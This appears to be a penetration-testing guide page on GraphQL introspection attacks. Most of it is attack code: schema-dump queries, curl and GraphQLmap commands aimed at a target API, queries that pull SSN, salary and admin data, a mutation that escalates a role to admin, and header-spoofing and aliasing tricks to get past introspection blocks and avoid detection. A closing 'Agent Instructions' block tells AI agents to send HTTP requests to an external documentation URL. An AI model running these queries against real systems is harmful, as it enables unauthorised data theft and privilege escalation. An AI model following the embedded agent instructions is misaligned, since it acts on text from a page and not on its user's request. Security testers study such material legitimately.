# GraphQL introspection attacks

## What are GraphQL Introspection Attacks?

GraphQL introspection attacks exploit GraphQL's built-in self-documentation feature that allows clients to query the schema itself. When introspection is enabled in production, attackers can discover the complete API structure, including hidden queries, mutations, sensitive fields, and internal operations that were never intended to be public. This reconnaissance provides a complete roadmap for further attacks.

## Vulnerable Scenario Example

**Attacker discovers introspection is enabled:**

```graphql
# Simple introspection test
query {
  __schema {
    types {
      name
    }
  }
}
```

**Response reveals entire API structure:**

```json
{
  "data": {
    "__schema": {
      "types": [
        {"name": "User"},
        {"name": "AdminUser"}, 
        {"name": "InternalNotes"},
        {"name": "PayrollData"},
        {"name": "DebugInfo"},
        {"name": "SystemConfig"}
      ]
    }
  }
}
```

**Attack Result:** Attacker now knows about sensitive types like `AdminUser`, `PayrollData`, and `DebugInfo` that they can target with specific queries to extract confidential data.

## How GraphQL Introspection Attacks Work

GraphQL introspection is designed for development and debugging, allowing developers to explore API capabilities. However, when left enabled in production, it provides attackers with complete visibility into the API's internal structure, revealing attack surfaces that would otherwise remain hidden.

#### Introspection Attack Flow

1. **Introspection Discovery** - Test if introspection queries are accepted
2. **Schema Enumeration** - Extract complete schema including all types and fields
3. **Sensitive Field Discovery** - Identify fields containing confidential data
4. **Hidden Endpoint Discovery** - Find admin-only or internal queries/mutations
5. **Attack Vector Mapping** - Plan targeted attacks based on discovered schema
6. **Exploitation** - Execute attacks on discovered sensitive endpoints

## Impact and Consequences

* **Complete API Mapping** - Full visibility into application structure and capabilities
* **Sensitive Data Discovery** - Identification of fields containing PII, financial data, secrets
* **Hidden Functionality Exposure** - Discovery of admin panels, debug endpoints, internal tools
* **Attack Surface Expansion** - Knowledge of all possible attack vectors
* **Business Logic Revelation** - Understanding of application workflows and relationships
* **Compliance Violations** - Exposure of regulated data fields and operations

## GraphQL Introspection Fundamentals

#### Basic Introspection Queries

**Schema Overview:**

```graphql
query SchemaOverview {
  __schema {
    queryType {
      name
    }
    mutationType {
      name  
    }
    subscriptionType {
      name
    }
  }
}
```

**Type Discovery:**

```graphql
query TypeDiscovery {
  __schema {
    types {
      name
      kind
      description
    }
  }
}
```

**Query Root Fields:**

```graphql
query QueryFields {
  __schema {
    queryType {
      fields {
        name
        description
        type {
          name
        }
      }
    }
  }
}
```

#### Advanced Introspection Techniques

**Complete Schema Dump:**

```graphql
query FullIntrospection {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}
```

## Introspection Attack Methodology

#### Initial Introspection Detection

**Testing for Enabled Introspection:**

**Using curl:**

```bash
# Basic introspection test
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { queryType { name } } }"}'

# If introspection is enabled, you'll get a response like:
# {"data": {"__schema": {"queryType": {"name": "Query"}}}}

# If disabled, you'll get an error like:
# {"errors": [{"message": "GraphQL introspection is not allowed"}]}
```

**Using Postman:**

```
1. Create new POST request to GraphQL endpoint
2. Set Content-Type: application/json
3. Body (raw JSON):
{
  "query": "{ __schema { types { name } } }"
}
4. Send request and analyze response
```

#### Schema Discovery and Analysis

**Using GraphQL Playground:**

```
1. Navigate to https://api.target.com/graphql in browser
2. If playground is enabled, schema will auto-populate
3. Browse through Types, Queries, Mutations tabs
4. Look for sensitive types and fields
```

**Using GraphQL Voyager:**

```
1. Install: npm install -g graphql-voyager
2. Run: voyager -e https://api.target.com/graphql
3. Visual schema exploration interface
4. Identify relationships and data flows
```

**Using Burp Suite with InQL Extension:**

```
1. Install InQL extension in Burp Suite
2. Configure proxy to intercept GraphQL requests
3. Use InQL tab to run introspection queries
4. Automatically parse and analyze schema
5. Generate custom queries based on discovered types
```

#### Systematic Schema Enumeration

**Using GraphQLmap:**

```bash
# Install GraphQLmap
git clone https://github.com/swisskyrepo/GraphQLmap
cd GraphQLmap
pip3 install -r requirements.txt

# Run introspection
python3 graphqlmap.py -u https://api.target.com/graphql -v --introspection

# Extract sensitive information
python3 graphqlmap.py -u https://api.target.com/graphql --dump-via-introspection
```

**Manual Analysis with Postman Collections:**

```
1. Create Postman collection for introspection
2. Add requests for each introspection type:
   - Schema overview
   - All types enumeration  
   - Query fields discovery
   - Mutation fields discovery
   - Field arguments analysis
3. Run collection and analyze responses
4. Document sensitive findings
```

## Common Introspection Attack Patterns

#### Sensitive Field Discovery

**Identifying High-Value Targets:**

```graphql
# Look for these suspicious type names
query SensitiveTypes {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
        }
      }
    }
  }
}

# Target types containing:
# - "Admin", "Internal", "Private", "Secret"
# - "Password", "Token", "Key", "Hash" 
# - "SSN", "Credit", "Payment", "Salary"
# - "Debug", "Test", "Dev", "Staging"
```

**Field-Level Analysis:**

```graphql
# Examine specific sensitive types
query AdminUserType {
  __type(name: "AdminUser") {
    fields {
      name
      description
      type {
        name
      }
    }
  }
}

# Look for fields like:
# - internalNotes, debugInfo, systemAccess
# - passwordHash, apiKey, privateKey
# - ssn, creditCard, bankAccount
# - salary, compensation, financialData
```

#### Hidden Query Discovery

**Admin and Internal Queries:**

```graphql
# Discover admin-only queries
query AdminQueries {
  __schema {
    queryType {
      fields {
        name
        description
        args {
          name
          type {
            name
          }
        }
      }
    }
  }
}

# Look for queries like:
# - adminUsers, internalConfig, systemStatus
# - debugInfo, serverMetrics, logData
# - allUsers, userData, privateInfo
```

**Dangerous Mutations:**

```graphql
# Find potentially dangerous mutations
query DangerousMutations {
  __schema {
    mutationType {
      fields {
        name
        description
        args {
          name
          type {
            name
          }
        }
      }
    }
  }
}

# Target mutations like:
# - deleteUser, deleteAllData, resetDatabase
# - updatePermissions, grantAdmin, setRole
# - executeCommand, runScript, systemCommand
```

#### Argument and Directive Analysis

**Input Validation Discovery:**

```graphql
# Analyze input arguments for injection points
query ArgumentAnalysis {
  __schema {
    queryType {
      fields {
        name
        args {
          name
          type {
            name
            kind
          }
          defaultValue
        }
      }
    }
  }
}
```

**Custom Directives:**

```graphql
# Discover custom directives that might reveal functionality
query CustomDirectives {
  __schema {
    directives {
      name
      description
      locations
      args {
        name
        type {
          name
        }
      }
    }
  }
}
```

## Exploiting Introspection Results

#### Building Targeted Attacks

**Using Discovered Admin Queries:**

```graphql
# From introspection, discovered adminUsers query exists
query ExploitAdminQuery {
  adminUsers {
    id
    username
    email
    permissions
    lastLogin
    # Use fields discovered through introspection
  }
}
```

**Exploiting Sensitive Fields:**

```graphql
# Introspection revealed User type has ssn field
query ExploitSensitiveField {
  users {
    id
    name
    ssn        # Field discovered via introspection
    salary     # Another sensitive field found
    internalNotes
  }
}
```

#### Mutation Exploitation

**Dangerous Operations:**

```graphql
# Introspection revealed updateUserRole mutation
mutation ExploitPrivilegeEscalation($userId: ID!) {
  updateUserRole(userId: $userId, role: "admin") {
    id
    role
    permissions
  }
}
```

## Advanced Introspection Techniques

#### Bypassing Disabled Introspection

**Alternative Discovery Methods:**

```graphql
# Sometimes individual type introspection works when schema introspection is blocked
query TypeBypass {
  __type(name: "User") {
    fields {
      name
    }
  }
}

# Try different type names discovered through errors or documentation
query DiscoverTypes {
  user1: __type(name: "User") { name }
  admin1: __type(name: "Admin") { name }
  internal1: __type(name: "Internal") { name }
}
```

**Error-Based Schema Discovery:**

```graphql
# Invalid queries can reveal valid field names in error messages
query ErrorBasedDiscovery {
  user {
    invalidField  # Error might list valid fields
  }
}

query TypeErrorDiscovery {
  user(id: "invalid_type") {
    # Type validation errors can reveal expected types
    name
  }
}
```

#### Partial Introspection Extraction

**Field-by-Field Discovery:**

```bash
# Using GraphQLmap for partial extraction
python3 graphqlmap.py -u https://api.target.com/graphql --method POST \
  --data '{"query": "{ __type(name: \"User\") { fields { name } } }"}' \
  --header "Authorization: Bearer token"
```

**Burp Suite Intruder for Type Discovery:**

```
1. Capture introspection request in Burp
2. Use Intruder on type name parameter
3. Payload: common type names (User, Admin, Account, etc.)
4. Analyze responses to find valid types
5. Repeat for field discovery on found types
```

## Detection Evasion Techniques

#### Header Manipulation

**Bypassing Introspection Blocks:**

```bash
# Some implementations check User-Agent
curl -X POST https://api.target.com/graphql \
  -H "User-Agent: GraphiQL" \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name } } }"}'

# Try different origins
curl -X POST https://api.target.com/graphql \
  -H "Origin: https://localhost:3000" \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name } } }"}'
```

#### Query Obfuscation

**Disguised Introspection:**

```graphql
# Mix introspection with legitimate queries
query MixedQuery {
  users {
    id
    name
  }
  __schema {
    types {
      name
    }
  }
}

# Use aliases to hide introspection
query AliasedIntrospection {
  regularData: users { id }
  schemaInfo: __schema { types { name } }
}
```

## Tools for Introspection Attacks

#### Specialized GraphQL Tools

**GraphQL Security Testing Tools:**

* **InQL (Burp Suite Extension)** - Automated introspection and testing
* **GraphQL Voyager** - Visual schema exploration
* **GraphQLmap** - Command-line GraphQL security testing
* **GraphQL Playground** - Interactive GraphQL IDE with introspection

#### Manual Testing Tools

**Postman Configuration for Introspection:**

```
Collection: GraphQL Introspection Testing
├── Basic Tests
│   ├── Schema Overview
│   ├── Type Discovery  
│   └── Field Enumeration
├── Advanced Tests
│   ├── Complete Schema Dump
│   ├── Directive Analysis
│   └── Argument Discovery
└── Exploitation Tests
    ├── Sensitive Field Access
    ├── Admin Query Testing
    └── Dangerous Mutations
```

**Burp Suite Setup:**

```
1. Install InQL extension
2. Configure GraphQL endpoint in InQL
3. Run introspection scan
4. Analyze results in InQL tab
5. Generate attack queries
6. Use Repeater for manual testing
```

#### Browser-Based Testing

**GraphQL Playground Access:**

```
1. Try common GraphQL IDE endpoints:
   - /graphql
   - /graphiql
   - /playground
   - /graphql/console
   - /api/graphql

2. Look for exposed development interfaces
3. Use built-in introspection features
4. Export schema for offline analysis
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reaper.gitbook.io/my-penetration-test-guide/web-based-attacks/api-security-testing/graphql-introspection-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
